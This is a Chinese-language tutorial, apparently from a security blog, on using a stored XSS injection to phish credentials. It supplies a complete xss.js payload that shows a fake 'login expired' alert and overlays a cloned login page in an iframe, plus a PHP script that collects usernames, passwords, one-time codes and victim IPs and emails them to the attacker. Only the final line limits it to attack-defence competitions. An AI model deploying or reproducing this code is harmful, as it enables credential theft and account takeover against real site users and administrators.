利用xss钓指定登陆页面账号密码并发送到邮箱

1.新建一个xss.js文件,内容如下,放在服务器里便于调用

var qad = getCookie("qqq");
if (qad==null)
{
//跳转代码
setTimeout(function(){
alert("登陆过期,请重新登陆!");
parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src=\"https://xxx.xxx.xxx/login/target_login.html\" frameBorder=0 scrolling=no>");
setTimeout(function(){ document.getElementsByTagName("body")[0].setAttribute("style","margin:2px;");},100);
setTimeout(function(){ parent.document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100); },500);
//跳转代码结束
setCookie("qqq","1");
}

function setCookie(name,value)
{
var Days = 10;
var exp = new Date(); //new Date("December 31, 9998"); 
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape(value) +";expires="+ exp.toGMTString();
}
function getCookie(name)
{
var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
if(arr != null) return unescape(arr[2]); return null;
}

将这段js以xss方式插入到目标里,即<script src=”你服务器/xss.js”></script>
简单说一下代码,插入目标之后,会新建一个cookie值,如果不存在这个值,就会创建一个iframe,这个iframe引用伪造的登陆页面并覆盖当前的后台页面,这就让其url地址不改变,不会让目标产生怀疑。而且这样的xss通过cookie设置,只执行一次,除非删了cookie qad值,才会反复执行xss。
代码中https://xxx.xxx.xxx/login/target_login.html 设置成你钓鱼页面html地址,钓鱼页面伪造就直接用目标的登陆页面右击源码,直接复制保存到自己的web服务器里作为target_login.html文件保存,并修改html中js,css等资源为目标服务器的url地址,修改html中登陆表单form里面的action地址为你web服务器接收账号和密码的地址,这里我们使用index.php 来获取账号和密码。index.php的代码如下:

<?php
use PHPMailer\PHPMailer\PHPMailer;
require './PHPMailer.php';
require './SMTP.php';
$mail = new PHPMailer(true);
$str='';
$str.='用户名:'.$_POST['username'].'--';     //username为form表单中的name值
$str.='密码:'.$_POST['password'].'--';       //password为form表单中的name值
$str.='验证口令:'.$_POST['verifyCode'].'--'; //动态验证口令
$str.='登陆IP:'.$_SERVER["REMOTE_ADDR"].'--';//被钓鱼的登陆IP信息
$str.='登陆时间:'.date("Y-m-d H:i:s");   //被钓鱼的登陆时间
try{
    //服务器配置
    $mail->CharSet ="UTF-8";                     //设定邮件编码
    $mail->SMTPDebug = 0;                        // 调试模式输出
    $mail->isSMTP();                             // 使用SMTP
    $mail->Host = 'smtp.163.com';                // SMTP服务器
    $mail->SMTPAuth = true;                      // 允许 SMTP 认证
    $mail->Username = '[email protected]';                // SMTP 用户名  即邮箱的用户名
    $mail->Password = 'xxxxxxxxxxxx';             // SMTP 密码  部分邮箱是授权码(例如163邮箱)
    $mail->SMTPSecure = 'ssl';                    // 允许 TLS 或者ssl协议
    $mail->Port = 465;                            // 服务器端口 25 或者465 具体要看邮箱服务器支持
    $mail->setFrom('[email protected]','xxxxx');  //发件人
    $mail->addAddress('[email protected]');  // 收件人
    $mail->isHTML(true);                                  // 是否以HTML文档格式发送  发送后客户端可直接显示对应HTML内容
    $mail->Subject = '账号密码通知-' .date("Y-m-d H:i:s");;
    $mail->Body    = '<h2>'.$str.'</h2>';
    $mail->AltBody = '如果邮件客户端不支持HTML则显示此内容';
    $mail->send();
}catch (Exception $e) {
    exit();
}
//返回到管理员登陆后的后台首页,可以在伪造的登陆按钮处添加 onclick="javascript:window.history.go(-1)"实现回跳,或者使用onclick="javascript:window.location.href='https://xxx.xxx.xxx/admin/index'"指定后台页面。

其中PHPMailer.php文件和SMTP.php 文件可以到github的phpmailer项目里面下载,这两个文件就可以实现发邮件了。
这个代码主要是获取钓鱼页面的账号密码以及IP信息发送到邮箱。

其主要流程就是插入xss.js到目标—->在目标里设置一个cookie防止重复调用xss—->通过xss.js文件创建一个iframe—->iframe伪造一个目标后台登陆页面—->表单数据提交到index.php文件—–>index.php文件发送邮件到邮箱。

以上内容仅限攻防赛的时候测试使用,请勿用于非法操作和测试。